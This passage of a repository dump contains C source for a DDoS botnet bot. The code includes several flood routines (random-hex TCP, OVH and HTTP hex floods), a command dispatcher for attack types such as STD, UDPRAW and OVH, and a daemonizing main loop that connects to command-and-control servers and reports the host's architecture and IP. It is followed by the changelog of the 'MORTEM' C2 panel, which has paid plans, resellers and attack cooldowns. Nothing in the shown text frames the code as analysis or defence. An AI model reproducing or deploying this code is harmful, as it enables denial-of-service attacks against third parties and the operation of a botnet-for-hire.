nemBIQ5uJc1jQ","zwcfbtGDTDBWImROXhdn","w70uUC1UJYZoPENznHXB","EoXLAf1xXR7j4XSs0JTm","lgKjMnqBZFEvPJKpRmMj","lSvZgNzxkUyChyxw1nSr","VQz4cDTxV8RRrgn00toF","YakuzaBotnet","Scarface1337""\x53\x65\x6c\x66\x20\x52\x65\x70\x20\x46\x75\x63\x6b\x69\x6e\x67\x20\x4e\x65\x54\x69\x53\x20\x61\x6e\x64\x20\x54\x68\x69\x73\x69\x74\x79\x20\x30\x6e\x20\x55\x72\x20\x46\x75\x43\x6b\x49\x6e\x47\x20\x46\x6f\x52\x65\x48\x65\x41\x64\x20\x57\x65\x20\x42\x69\x47\x20\x4c\x33\x33\x54\x20\x48\x61\x78\x45\x72\x53\x0a","/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A","\x77\x47\x5E\x27\x7A\x4E\x09\xF7\xC7\xC0\xE6\xF5\x9B\xDC\x23\x6E\x12\x29\x25\x1D\x0A\xEF\xFB\xDE\xB6\xB1\x94\xD6\x7A\x6B\x01\x34\x26\x1D\x56\xA5\xD5\x8C\x91\xBC\x8B\x96\x29\x6D\x4E\x59\x38\x4F\x5C\xF0\xE2\xD1\x9A\xEA\xF8\xD0\x61\x7C\x4B\x57\x2E\x7C\x59\xB7\xA5\x84\x99\xA4\xB3\x8E\xD1\x65\x46\x51\x30\x77\x44\x08\xFA\xD9\x92\xE2\xF0\xC8\xD5\x60\x77\x52\x6D\x21\x02\x1D\xFC\xB3\x80\xB4\xA6\x9D\xD4\x28\x24\x03\x5A\x35\x14\x5B\xA8\xE0\x8A\x9A\xE8\xC0\x91\x6C\x7B\x47\x5E\x6C\x69\x47\xB5\xB4\x89\xDC\xAF\xAA\xC1\x2E\x6A\x04\x10\x6E\x7A\x1C\x0C\xF9\xCC\xC0\xA0\xF8\xC8\xD6\x2E\x0A\x12\x6E\x76\x42\x5A\xA6\xBE\x9F\xA6\xB1\x90\xD7\x24\x64\x15\x1C\x20\x0A\x19\xA8\xF9\xDE\xD1\xBE\x96\x95\x64\x38\x4C\x53\x3C\x40\x56\xD1\xC5\xED\xE8\x90\xB0\xD2\x22\x68\x06\x5B\x38\x33\x00\xF4\xF3\xC6\x96\xE5\xFA\xCA\xD8\x30\x0D\x50\x23\x2E\x45\x52\xF6\x80\x94","8d\xc1x\x01\xb8\x9b\xcb\x8f\0\0\0\0\01k\xc1x\x02\x8b\x9e\xcd\x8e\0\0\0\0\01k\xc1x\x02\x8b\x9e\xcd\x8e\0\0\0\0\01k\xc1x\x02\x8b\x9e\xcd\x8e\0\0\0\0\01k\xc1x\x02\x8b\x9e\xcd\x8e\0\0\0\0\01k\xc1x\x02\x8b\x9e\xcd\x8e\0\0\0\0\01k\xc1x\x02\x8b\x9e\xcd\x8e\0\0\0\0\01k\xc1x\x02\x8b\x9e\xcd\x8e\0\0\0\0\01k\xc1x\x02\x8b\x9e\xcd\x8e\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0""/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58/x99/x21/x8r/x58","\x58\x99\x21\x58\x99\x21\x58\x99\x21\x58\x99\x21\x58\x99\x21\x58\x99\x21\x58\x99\x21\x58\x99\x21\x58\x99\x21\x58\x99\x21\x58\x99\x21\x58\x99\x21\x58\x99\x21\x58\x21\x58\x99\x21\x58\x99\x21\x58\x06"}; 587 | char *STD2_STRING = randstrings[rand() % (sizeof(randstrings) / sizeof(char *))]; 588 | if (a >= 50) 589 | { 590 | send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0); 591 | connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin)); 592 | if (time(NULL) >= start + secs) 593 | { 594 | close(iSTD_Sock); 595 | _exit(0); 596 | } 597 | a = 0; 598 | } 599 | a++; 600 | } 601 | } 602 | 603 | 604 | void ovhl7(char *host, in_port_t port, int timeEnd, int power) { 605 | int socket, i, end = time(NULL) + timeEnd, sendIP = 0; 606 | char request[512], buffer[1], pgetData[2048]; 607 | sprintf(pgetData, "\x00","\x01","\x02", 608 | "\x03","\x04","\x05","\x06","\x07","\x08","\x09", 609 | "\x0a","\x0b","\x0c","\x0d","\x0e","\x0f","\x10", 610 | "\x11","\x12","\x13","\x14","\x15","\x16","\x17", 611 | "\x18","\x19","\x1a","\x1b","\x1c","\x1d","\x1e", 612 | "\x1f","\x20","\x21","\x22","\x23","\x24","\x25", 613 | "\x26","\x27","\x28","\x29","\x2a","\x2b","\x2c", 614 | "\x2d","\x2e","\x2f","\x30","\x31","\x32","\x33", 615 | "\x34","\x35","\x36","\x37","\x38","\x39","\x3a", 616 | "\x3b","\x3c","\x3d","\x3e","\x3f","\x40","\x41", 617 | "\x42","\x43","\x44","\x45","\x46","\x47","\x48", 618 | "\x49","\x4a","\x4b","\x4c","\x4d","\x4e","\x4f", 619 | "\x50","\x51","\x52","\x53","\x54","\x55","\x56", 620 | "\x57","\x58","\x59","\x5a","\x5b","\x5c","\x5d", 621 | "\x5e","\x5f","\x60","\x61","\x62","\x63","\x64", 622 | "\x65","\x66","\x67","\x68","\x69","\x6a","\x6b", 623 | "\x6c","\x6d","\x6e","\x6f","\x70","\x71","\x72", 624 | "\x73","\x74","\x75","\x76","\x77","\x78","\x79", 625 | "\x7a","\x7b","\x7c","\x7d","\x7e","\x7f","\x80", 626 | "\x81","\x82","\x83","\x84","\x85","\x86","\x87", 627 | "\x88","\x89","\x8a","\x8b","\x8c","\x8d","\x8e", 628 | "\x8f","\x90","\x91","\x92","\x93","\x94","\x95", 629 | "\x96","\x97","\x98","\x99","\x9a","\x9b","\x9c", 630 | "\x9d","\x9e","\x9f","\xa0","\xa1","\xa2","\xa3", 631 | "\xa4","\xa5","\xa6","\xa7","\xa8","\xa9","\xaa", 632 | "\xab","\xac","\xad","\xae","\xaf","\xb0","\xb1", 633 | "\xb2","\xb3","\xb4","\xb5","\xb6","\xb7","\xb8", 634 | "\xb9","\xba","\xbb","\xbc","\xbd","\xbe","\xbf", 635 | "\xc0","\xc1","\xc2","\xc3","\xc4","\xc5","\xc6", 636 | "\xc7","\xc8","\xc9","\xca","\xcb","\xcc","\xcd", 637 | "\xce","\xcf","\xd0","\xd1","\xd2","\xd3","\xd4", 638 | "\xd5","\xd6","\xd7","\xd8","\xd9","\xda","\xdb", 639 | "\xdc","\xdd","\xde","\xdf","\xe0","\xe1","\xe2", 640 | "\xe3","\xe4","\xe5","\xe6","\xe7","\xe8","\xe9", 641 | "\xea","\xeb","\xec","\xed","\xee","\xef","\xf0", 642 | "\xf1","\xf2","\xf3","\xf4","\xf5","\xf6","\xf7", 643 | "\xf8","\xf9","\xfa","\xfb","\xfc","\xfd","\xfe","\xff"); 644 | for (i = 0; i < power; i++) { 645 | sprintf(request, "PGET \0\0\0\0\0\0%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", pgetData, host, useragents[(rand() % 2)]); 646 | if (fork()) { 647 | while (end > time(NULL)) { 648 | socket = socket_connect(host, port); 649 | if (socket != 0) { 650 | write(socket, request, strlen(request)); 651 | read(socket, buffer, 1); 652 | close(socket); 653 | } 654 | } 655 | exit(0); 656 | } 657 | } 658 | } 659 | 660 | void SendHTTPHex(char *host, in_port_t port, int timeEnd, int power) { 661 | char *method = "GET"; 662 | int socket, i, end = time(NULL) + timeEnd, sendIP = 0; 663 | char request[512], buffer[1], hex_payload[2048]; 664 | sprintf(hex_payload, "\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA"); 665 | for (i = 0; i < power; i++) { 666 | sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, hex_payload, host, useragents[(rand() % 7)]); 667 | if (fork()) { 668 | while (end > time(NULL)) { 669 | socket = socket_connect(host, port); 670 | if (socket != 0) { 671 | write(socket, request, strlen(request)); 672 | read(socket, buffer, 1); 673 | close(socket); 674 | } 675 | } 676 | exit(0); 677 | } 678 | } 679 | } 680 | 681 | void sendHTTPtwo(char *host, in_port_t port, int timeEnd, int power) { 682 | char *method = "GET"; 683 | int socket, i, end = time(NULL) + timeEnd, sendIP = 0; 684 | char request[512], buffer[1], hex_3payload[2048]; 685 | sprintf(hex_3payload, "\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA\x84\x8B\x87\x8F\x99\x8F\x98\x9C\x8F\x98\xEA"); 686 | for (i = 0; i < power; i++) { 687 | sprintf(request, "%s /cdn-cgi/l/ chk_captchaHTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, hex_3payload, host, useragents[(rand() % 36)]); 688 | if (fork()) { 689 | while (end > time(NULL)) { 690 | socket = socket_connect(host, port); 691 | if (socket != 0) { 692 | write(socket, request, strlen(request)); 693 | read(socket, buffer, 1); 694 | close(socket); 695 | } 696 | } 697 | exit(0); 698 | } 699 | } 700 | } 701 | 702 | 703 | 704 | 705 | //attacks end here 706 | 707 | char *getArch() { 708 | #if defined(__x86_64__) || defined(_M_X64) 709 | return "x86_64"; 710 | #elif defined(i386) || defined(__i386__) || defined(__i386) || defined(_M_IX86) 711 | return "x86_32"; 712 | #elif defined(__ARM_ARCH_2__) || defined(__ARM_ARCH_3__) || defined(__ARM_ARCH_3M__) || defined(__ARM_ARCH_4T__) || defined(__TARGET_ARM_4T) 713 | return "ARM4"; 714 | #elif defined(__ARM_ARCH_5_) || defined(__ARM_ARCH_5E_) 715 | return "ARM5" 716 | #elif defined(__ARM_ARCH_6T2_) || defined(__ARM_ARCH_6T2_) ||defined(__ARM_ARCH_6__) || defined(__ARM_ARCH_6J__) || defined(__ARM_ARCH_6K__) || defined(__ARM_ARCH_6Z__) || defined(__ARM_ARCH_6ZK__) || defined(__aarch64__) 717 | return "ARM6"; 718 | #elif defined(mips) || defined(__mips__) || defined(__mips) 719 | return "MIPS"; 720 | #elif defined(mipsel) || defined (__mipsel__) || defined (__mipsel) || defined (_mipsel) 721 | return "MPSL"; 722 | #elif defined(__powerpc) || defined(__powerpc__) || defined(__powerpc64__) || defined(__POWERPC__) || defined(__ppc__) || defined(__ppc64__) || defined(__PPC__) || defined(__PPC64__) || defined(_ARCH_PPC) || defined(_ARCH_PPC64) 723 | return "PPC"; 724 | #elif defined(__sparc__) || defined(__sparc) 725 | return "SPC"; 726 | #else 727 | return "idk"; 728 | #endif 729 | } 730 | 731 | void processCmd(int argc, unsigned char *argv[]) 732 | { 733 | 734 | if(!strcmp(argv[0], "XTD"))//custom std flood [static] 735 | { 736 | if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1) 737 | { 738 | return; 739 | } 740 | unsigned char *ip = argv[1]; 741 | int port = atoi(argv[2]); 742 | int time = atoi(argv[3]); 743 | if(strstr(ip, ",") != NULL) 744 | { 745 | unsigned char *hi = strtok(ip, ","); 746 | while(hi != NULL) 747 | { 748 | if(!listFork()) 749 | { 750 | xtdcustom(hi, port, time); 751 | _exit(0); 752 | } 753 | hi = strtok(NULL, ","); 754 | } 755 | } else { 756 | if (listFork()) 757 | { 758 | return; 759 | } 760 | xtdcustom(ip, port, time); 761 | _exit(0); 762 | } 763 | } 764 | 765 | 766 | 767 | else if(!strcmp(argv[0], "RANDHEX"))//unpatchable!! 768 | { 769 | if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1) 770 | { 771 | return; 772 | } 773 | unsigned char *ip = argv[1]; 774 | int port = atoi(argv[2]); 775 | int time = atoi(argv[3]); 776 | if(strstr(ip, ",") != NULL) 777 | { 778 | unsigned char *hi = strtok(ip, ","); 779 | while(hi != NULL) 780 | { 781 | if(!listFork()) 782 | { 783 | Randhex(hi, port, time); 784 | _exit(0); 785 | } 786 | hi = strtok(NULL, ","); 787 | } 788 | } else { 789 | if (listFork()) 790 | { 791 | return; 792 | } 793 | Randhex(ip, port, time); 794 | _exit(0); 795 | } 796 | } 797 | 798 | else if(!strcmp(argv[0], "GAME")) 799 | { 800 | if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1) 801 | { 802 | return; 803 | } 804 | unsigned char *ip = argv[1]; 805 | int port = atoi(argv[2]); 806 | int time = atoi(argv[3]); 807 | if(strstr(ip, ",") != NULL) 808 | { 809 | unsigned char *hi = strtok(ip, ","); 810 | while(hi != NULL) 811 | { 812 | if(!listFork()) 813 | { 814 | Randhex(hi, port, time); 815 | _exit(0); 816 | } 817 | hi = strtok(NULL, ","); 818 | } 819 | } else { 820 | if (listFork()) 821 | { 822 | return; 823 | } 824 | Randhex(ip, port, time); 825 | _exit(0); 826 | } 827 | } 828 | 829 | 830 | else if(!strcmp(argv[0], "OVH")) 831 | { 832 | if (argc < 4 || atoi(argv[2]) > 10000 || atoi(argv[3]) < 1) return; 833 | if (listFork()) return; 834 | ovhl7(argv[1], atoi(argv[2]), atoi(argv[3]), atoi(argv[4])); 835 | exit(0); 836 | } 837 | 838 | 839 | else if(!strcmp(argv[0], "STD") || !strcmp(argv[0], "SHIT"))//basic std flood [not static!] 840 | { 841 | // !* STD TARGET PORT TIME 842 | if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1) 843 | { 844 | return; 845 | } 846 | unsigned char *ip = argv[1]; 847 | int port = atoi(argv[2]); 848 | int time = atoi(argv[3]); 849 | if(strstr(ip, ",") != NULL) 850 | { 851 | unsigned char *hi = strtok(ip, ","); 852 | while(hi != NULL) 853 | { 854 | if(!listFork()) 855 | { 856 | SendSTD(hi, port, time); 857 | _exit(0); 858 | } 859 | hi = strtok(NULL, ","); 860 | } 861 | } else { 862 | if (listFork()) 863 | { 864 | return; 865 | } 866 | SendSTD(ip, port, time); 867 | _exit(0); 868 | } 869 | } 870 | 871 | else if(!strcmp(argv[0], "UDPRAW") || !strcmp(argv[0], "SHIT")) 872 | { 873 | if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1) 874 | { 875 | return; 876 | } 877 | unsigned char *ip = argv[1]; 878 | int port = atoi(argv[2]); 879 | int time = atoi(argv[3]); 880 | if(strstr(ip, ",") != NULL) 881 | { 882 | unsigned char *hi = strtok(ip, ","); 883 | while(hi != NULL) 884 | { 885 | if(!listFork()) 886 | { 887 | UDPRAW(hi, port, time); 888 | _exit(0); 889 | } 890 | hi = strtok(NULL, ","); 891 | } 892 | } else { 893 | if (listFork()) 894 | { 895 | return; 896 | } 897 | UDPRAW(ip, port, time); 898 | _exit(0); 899 | } 900 | } 901 | 902 | 903 | 904 | 905 | //if(!strcmp(argv[0], "100up"))// argv[0] 100up || argv[1] IP; || argv[2] PORT || argv[3] TIME || argv[4] PSIZE 906 | //{ 907 | // if (argc < 3) return; 908 | // if (listFork()) return; 909 | // unsigned char *ip = argv[1]; 910 | // int port = atoi(argv[2]); 911 | // int time = atoi(argv[3]); 912 | // //GET //TIME //PSIZE 913 | // SendHTTPHex(ip, port, time, atoi(argv[4])); 914 | // sendHTTPtwo(ip, port, time, atoi(argv[4])); 915 | // SendSTD(ip, port, time); 916 | // 917 | // exit(0); 918 | //} 919 | 920 | else if(!strcasecmp(argv[0], "STOP")) 921 | { 922 | int killed = 0; 923 | unsigned long i; 924 | for (i = 0; i < numpids; i++) 925 | { 926 | if (pids[i] != 0 && pids[i] != getpid()) 927 | { 928 | kill(pids[i], 9); 929 | killed++; 930 | } 931 | } 932 | if(killed > 0) 933 | { 934 | 935 | } else { 936 | 937 | } 938 | } 939 | 940 | } 941 | #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *)) 942 | 943 | int initConnection() 944 | { 945 | unsigned char server[512]; 946 | memset(server, 0, 512); 947 | if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } 948 | if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0; 949 | else currentServer++; 950 | 951 | strcpy(server, commServer[currentServer]); 952 | int port = 6982; 953 | if(strchr(server, ':') != NULL) 954 | { 955 | port = atoi(strchr(server, ':') + 1); 956 | *((unsigned char *)(strchr(server, ':'))) = 0x0; 957 | } 958 | 959 | mainCommSock = socket(AF_INET, SOCK_STREAM, 0); 960 | 961 | if(!connectTimeout(mainCommSock, server, port, 30)) return 1; 962 | 963 | return 0; 964 | } 965 | 966 | int main(int argc, unsigned char *argv[]) 967 | { 968 | srand(time(NULL) ^ getpid()); 969 | init_rand(time(NULL) ^ getpid()); 970 | getOurIP(); 971 | pid_t pid1; 972 | pid_t pid2; 973 | int status; 974 | 975 | if (pid1 = fork()) { 976 | waitpid(pid1, &status, 0); 977 | exit(0); 978 | } else if (!pid1) { 979 | if (pid2 = fork()) { 980 | exit(0); 981 | } else if (!pid2) { 982 | } else { 983 | } 984 | } else { 985 | } 986 | setsid(); 987 | chdir("/"); 988 | signal(SIGPIPE, SIG_IGN); 989 | 990 | while(1) 991 | { 992 | if(initConnection()) { sleep(5); continue; } 993 | sockprintf(mainCommSock, "%s \x1b[1;31mip:%s", getArch(), inet_ntoa(ourIP)); 994 | //sockprintf(mainCommSock, "%s", getArch()); 995 | char commBuf[4096]; 996 | int got = 0; 997 | int i = 0; 998 | while((got = recvLine(mainCommSock, commBuf, 4096)) != -1) 999 | { 1000 | for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) { 1001 | unsigned int *newpids, on; 1002 | for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on]; 1003 | pids[on - 1] = 0; 1004 | numpids--; 1005 | newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int)); 1006 | for (on = 0; on < numpids; on++) newpids[on] = pids[on]; 1007 | free(pids); 1008 | pids = newpids; 1009 | } 1010 | 1011 | commBuf[got] = 0x00; 1012 | 1013 | trim(commBuf); 1014 | 1015 | unsigned char *message = commBuf; 1016 | if(strstr(commBuf, "DUP") == commBuf) exit(0); // DUP 1017 | if(*message == '!') 1018 | { 1019 | unsigned char *nickMask = message + 1; 1020 | while(*nickMask != ' ' && *nickMask != 0x00) nickMask++; 1021 | if(*nickMask == 0x00) continue; 1022 | *(nickMask) = 0x00; 1023 | nickMask = message + 1; 1024 | 1025 | message = message + strlen(nickMask) + 2; 1026 | while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00; 1027 | 1028 | unsigned char *command = message; 1029 | while(*message != ' ' && *message != 0x00) message++; 1030 | *message = 0x00; 1031 | message++; 1032 | 1033 | unsigned char *tmpcommand = command; 1034 | while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; } 1035 | 1036 | unsigned char *params[10]; 1037 | int paramsCount = 1; 1038 | unsigned char *pch = strtok(message, " "); 1039 | params[0] = command; 1040 | 1041 | while(pch) 1042 | { 1043 | if(*pch != '\n') 1044 | { 1045 | params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1); 1046 | memset(params[paramsCount], 0, strlen(pch) + 1); 1047 | strcpy(params[paramsCount], pch); 1048 | paramsCount++; 1049 | } 1050 | pch = strtok(NULL, " "); 1051 | } 1052 | 1053 | processCmd(paramsCount, params); 1054 | 1055 | if(paramsCount > 1) 1056 | { 1057 | int q = 1; 1058 | for(q = 1; q < paramsCount; q++) 1059 | { 1060 | free(params[q]); 1061 | } 1062 | } 1063 | } 1064 | } 1065 | } 1066 | 1067 | return 0; 1068 | } 1069 | -------------------------------------------------------------------------------- /c7.c: -------------------------------------------------------------------------------- 1 | /* 2 | ╔═════════════╗ 3 | ║ MORTEM - v1 ║ 4 | ╚═════════════╝ 5 | Added Check Expiry to the login 6 | Smart Attacks - Splits All Attacks into arguments and wont send an invalid cmd to the sock 7 | 8 | ╔═══════════════╗ 9 | ║ MORTEM - v1.5 ║ 10 | ╚═══════════════╝ 11 | New Member Added - Delusionalz - Developer 12 | The Rest Of These Features Where Added Into The C2 By Delusionalz 13 | Maverick Did All Of The Designing 14 | 15 | //Admin Features: 16 | For Easier Use Most Of The User Functions Were Added To Be Used In A Single Function 17 | 18 | User Functions: 19 | Add User - Admins And Resellers 20 | Rem User - Admins And Resellers 21 | Ban User - Admins Only 22 | UnBan User - Admins Only 23 | IP Ban - Admins Only 24 | UnIP Ban - Admins Only 25 | Ban User - Admins Only 26 | UnBan User - Admins Only 27 | Kick User - Admins Only 28 | 29 | Add User Uses Plans When Making An Account For Easier Use 30 | Kick User Tells You All Current Online Users 31 | 32 | 33 | //New Login Features: 34 | 35 | Added Banned Feature: 36 | Checks File For Banned IPS 37 | IF You Are IP Banned it Says it on your screen Before you can type in the Username Or Password 38 | Checks Another File Too See If You Are Banned 39 | Tells You That You Have Been Banned 40 | 41 | Added Anti Double Loggin Feature: 42 | Stops People from being logged in twice 43 | 44 | Added Expiry Feature: 45 | After Typing in Username And Password Its Checks To See If Your Account Has Expired 46 | 47 | Added Logging Feature: 48 | Added Tos - Logs That You Accepted TOS 49 | Logs when someone has logged in 50 | 51 | Added A Log Checker: 52 | Makes Sure All The Logs Are Created When Screened Bc The c2 Can Crash Without Them 53 | Makes Sure You Have A Login.txt in the users Directory 54 | 55 | //Extra Features: 56 | 57 | Added Online Feature: 58 | Shows All Connected Users 59 | If Your An Admin You See Their IP 60 | Admins Cannot See Other Admins IP'S!!!!! 61 | 62 | Added MSG 63 | Allows You To Message Other Users 64 | Only If they Are online 65 | And You Type the right name 66 | 67 | //Other Features: 68 | Dope Ass Banners Added By Maverick 69 | 70 | Fixed The Attack Functions 71 | Added A Banner When The Attack Was Sent 72 | Tells You The IP Port and Time 73 | ╔═════════════╗ 74 | ║ MORTEM - v2 ║ 75 | ╚═════════════╝ 76 | Lots More Added by Delusionalz 77 | 78 | Admin Features: 79 | Broadcast: 80 | Msg's All Current Online Users 81 | Toggleable For Each Individual User 82 | Only Sends The Message if more than 1 Person Is On 83 | Tells You How Many People It Was Sent to And How Many People Have Broadcasts Turned Off 84 | Tells You If No One Is Online Or If Everyone Has Their Messages Toggled Off 85 | 86 | Added Toggle Attacks: 87 | Toggles On And Off The Sending Of Attacks 88 | 89 | Added Toggle Listen: 90 | Toggles On And Off The Veiwing Of Users Sending Attacks 91 | 92 | Added Toggle Logins: 93 | Toggles On And Off The Veiwing Of Users Loggin In And Logging Out 94 | 95 | Login Features: 96 | Title Bar Is Dyanmic According to what your doing 97 | When Logging It Tells You TO loggin in the Title Bar 98 | Then Switches To The Normal Title Bar 99 | 100 | Extra Features 101 | Added Toggle Broadcast: 102 | Toggles On And Off The Receiving Of Broadcasted Messages 103 | 104 | Toggle Msg: 105 | Toggles On And Off The Receiving Of Direct Messages 106 | 107 | Plans: 108 | Shows Mortems Plans 109 | 110 | Other: 111 | Added A Cool Down for Attacks 112 | Attacks Wont Send If Your Cool Down Isnt Over 113 | Your Cooldown Will Countdown In The Title After Sending The Attack 114 | 115 | ╔═════════════╗ 116 | ║ MORTEM - v3 ║ 117 | ╚═════════════╝ 118 | TOTAL REVAMP ON THE ENTIRE DESIGN DONE BY MAVERICK! 119 | Added Custom Moving Banner Upon Login Completion Aswell As TOS Acceptance 120 | 121 | Added Attack Count Down: 122 | Upon Sending An Attack It Starts A Countdown For How Long You Sent The Attack 123 | And Adds 1 To The Amount Of Current Running Attacks 124 | It Also Adds 1 To Your Individual Running Attack Ammount 125 | Once The Countdown Is Over 126 | It Deletes 1 Off The Attacks Running Amount 127 | Aswell As Your Number Of Indivudal Attacks Amount 128 | 129 | Other Attack Shit Added: 130 | Attacks Running Shows Up In The Title Bar If There Are Any Attacks Running 131 | If You Send 3 Attacks Before Your First Attack Countdown Isnt Finished 132 | It Tells You To Fuck Off If You Try And Send Another It Simply Wont Send 133 | // 134 | Testing Encryption Method For Sending Attacks 135 | // 136 | 137 | Time Logged In: 138 | The Instant You Complete Your Login And Accepting TOS 139 | The c2 Starts A Timer And Once You Have 